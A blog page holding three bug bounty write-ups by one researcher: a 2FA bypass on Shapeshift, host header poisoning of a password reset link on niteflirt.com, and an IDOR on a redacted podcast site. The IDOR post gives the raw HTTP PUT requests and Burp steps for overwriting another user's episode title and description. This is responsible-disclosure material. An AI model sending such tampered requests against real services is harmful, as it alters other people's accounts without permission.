Monday, May 10, 2021

2FA Verification Bypass in Shapeshift [shapeshift.com] (Write Up)

Hello Readers!


Morning of Sunday 18th of April after playing video game I decided to make a quick hunt on one of the bug bounty program that I found on Google. So I fired up some of my favorite recon tools to gather information from the website and while the tools are doing their things I registered my email on the website to test on the login and reset password page. After few checks on the login page I decided to enable the 2FA verification on my account to check if there is an issue on the 2FA feature and fortunately found an interesting one.

So long story short I found a 2FA verification bypass on Shapeshift which allow me access an account with 2FA enabled without giving the correct 2FA code during the login procedure. The vulnerability is easy to reproduce, A simple tampering of one of the value of the parameters in the 2FA verification request able me to bypass the feature due to lack of authentication of the app.

So below is the proof of concept of the issue. 


--Proof of Concept--




--Timeline--

Reported: April 18, 2021
Dear Evan,

Thank you for reaching out to the ShapeShift security team! Unfortunately, we haven’t yet been able to confirm this issue. Would you be willing to double check that 2FA Verification Bypass Vulnerability truly exists? 

Thank you again. It’s people like you who make the Internet a safer place!

​​
ShapeShift Security Team 


I submitted another video PoC for the re-test and ended up getting duplicate, I don't know why.

Final Response: April 19, 2021
Dear Evan,

Thank you sending more videos. We checked this issue and the security team already been made aware of this issue by another researcher. For your reference, here is the tracking number for this issue: VULN-<XXXX>.

We are currently working with that researcher to resolve the issue.

Thanks for taking the time to report a vulnerability to ShapeShift. It’s because of researchers like you that the web is a little bit safer.

Have a wonderful day!
​​
ShapeShift Security Team


I hope you enjoy this write up.

Stay safe everyone!


“Many people lose the small joys in the hope for the big happiness.”
― Pearl S. Buck

Thursday, February 25, 2021

Hijacking Reset Password Link in https://www.niteflirt.com/ via Host Header Poisoning (Write Up)

Howdy!


Summer last year while playing with google dorks I found a random external bug bounty program which is an adult website that allow user to interact each other through chat. The app is similar to tinder.

Since they have a bug bounty program, I tried doing a recon with their domain. fired up my recon tools to gather subdomains, directories and etc... 

So while my recon tools are doing their things, I started up testing the login and reset password page after I signed up for an account and found a simple bug on the reset password.

Long story short, I found a Host Header Hijacking/Poising issue in niteflirt.com which allow me to manipulate the host header during the reset password procedure. The issue allow me to change the reset password link after changing the value of the Host.


--Proof of Concept--




Result:



--Timeline--

Title: Vulnerability Issue (Host Header Hijacking)
Reported: Jul 11, 2020, 3:31 AM
Rewarded: Jul 16, 2020, 5:25 AM ($50)

Hi Evan,

Thanks for your submission with a very clear PoC.


While we do already have some development in the works to address this known issue, we appreciate this demonstration of a new way to exploit this issue and would like to offer you a $50 reward. Would you mind re-confirming that your paypal email is still <redacted>@gmail.com 

---


Best regards,

Bug Bounty


Reference of this issue: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html (Cheers to James Kettle @albinowax)


I hope you enjoy this write up. Stay safe and have a great day y'all!


“Only those who dare to fail greatly can ever achieve greatly.”

― Robert F. Kennedy



Saturday, February 13, 2021

Changing other users Episode title & description - IDOR Vulnerability in [REDACTED] (Write Up)

Good day everyone, hope you are doing great. 

It's been a while since I posted on this blog and today I will show you another simple vulnerability that I found few years ago on [REDACTED] (https://[redacted.com]), one of [REDACTED]'s acquisition company. The vulnerability allow me to change other users Episode titles & description without any user interaction.

So it was a cold & lazy Wednesday night that time when I started reading some of my old reports and decided to re-check some of it. I started with my old report on [REDACTED] which is a Cross Site Scripting that I reported few years ago and I noticed that there is no changes on that subdomain after the fix was released. So I fired up my recon tools to check other subdomains and directories of [REDACTED] and there is no interesting stuff found so I decided to check on their acquisitions and found an interesting one which is the [REDACTED] (https://[redacted.com]). so I fired up my recon tools again to check on for subdomains and directories since my method of testing is I started with the subdomains.

After a few hours of testing, I found multiple vulnerabilities including Stored XSS, Open Redirect, Reflected XSS, Session Management Issue and the most interesting one, the Insecure Direct Object Reference vulnerability. So long story short, I found some good bugs and reported it to them and unfortunately no one made it for a bounty since this domain is not on their scope (and yes! I'm aware of that, just trying my luck.) so I asked a permission to them for this write up so that I can share it with you guys.



--Proof of Concept--


User A (attacker id - e3mid0) & B (victim id - e3mhq4)

Go to https://[redacted.com]/dashboard/episode/e3mid0/metadata/edit (User A)

Click the "Update episode" button and capture the request (I used burp to capture the request)

Raw HTTP Request (Attacker)

PUT /api/podcastepisode/e3mid0 <attacker id>/metadata HTTP/1.1
Host: [redacted.com]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: /
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: https://[redacted.com]
Referer: https://[redacted.com]/dashboard/episode/e3mid0/metadata/edit
Content-Length: 661
Cookie: XXXXXXXXXXXX
Connection: close

{"isDraft":false,"podcastEpisodeIsExplicit":false,"podcastEpisodeType":"full","publishOn":null,"created":"2019-04-09T18:37:20.000Z","description":"<p>test1</p>","podcastEpisodeNumber":1,"podcastSeasonNumber":1,"safeDescription":"<p>test1</p>","title":"test1 for idor","doPublishExternally":true,"episodeAudios":[{"durationHMS":"10s","audioId":"a1ptlh","audioTransformationStatus":null,"caption":"Alley","color":"#fface7","created":"2016-12-02T22:25:38.000Z","doesHaveGeneratedVideo":false,"duration":10443,"key":"a1ptlh-0","sort":0,"userId":null,"url":"[redacted.com]}

Send the captured request to Repeater and change the episode id from attacker to victim id and change some of the information's like the title, description and etc...

Modified HTTP Request (Attacker)

In the modified request, the attacker can change the episode id in the URL request which can be found from the victim's episode. if you will say that it's hard to enumerate that kind of ID since it's a mix of random letters and numbers then no, the [REDACTED] episode ID of any users is visible to anyone that is why it is so easy to know your victim's ID.

PUT /api/podcastepisode/e3mhq4 <victim id>/metadata HTTP/1.1
Host:[redacted.com]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: /
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin:https://[redacted.com]
Referer: https://[redacted.com]/dashboard/episode/e3mid0/metadata/edit
Content-Length: 661
Cookie: XXXXXXXXXXXX
Connection: close

{"isDraft":false,"podcastEpisodeIsExplicit":false,"podcastEpisodeType":"full","publishOn":null,"created":"2019-04-09T18:37:20.000Z","description":"<p>test1</p>","podcastEpisodeNumber":1,"podcastSeasonNumber":1,"safeDescription":"<p>test1</p>","title":"hacked!","doPublishExternally":true,"episodeAudios":[{"durationHMS":"10s","audioId":"a1ptlh","audioTransformationStatus":null,"caption":"Alley","color":"#fface7","created":"2016-12-02T22:25:38.000Z","doesHaveGeneratedVideo":false,"duration":10443,"key":"a1ptlh-0","sort":0,"userId":null,"url":"[redacted.com]}


Repeat the modified request thru repeater in burp and you will get a successful response (200)

Result: Victim's episode title and description can be manipulated or change.



--Report Timeline--


Title: Changing other REDACTED user's Episode title and description [IDOR]
Reported: May 30, 2018
Closed as Informative: June 1, 2018

Hello @evanricafort,

Thank you for your submission. Unfortunately, [redacted.com] is currently not in scope. Please feel free to resubmit this bug if it is still valid when the team plans to bring it into the scope of the program.

@xxxxx

Re-opened and rewarded: April 24, 2019 ($250)

Almost a year after when REDACTED added [redacted.com] on their scope and fortunately all my reports was validated and so this IDOR earned me a bounty of $250. kinda low for this issue because the domain is under their acquisition program but worth the wait since all in all the total bounty for all my reports for [redacted.com] is $1,150.


I hope you enjoy this write up. Stay safe and have a great day y'all!


"Not how long, but how well you have lived is the main thing."
 Seneca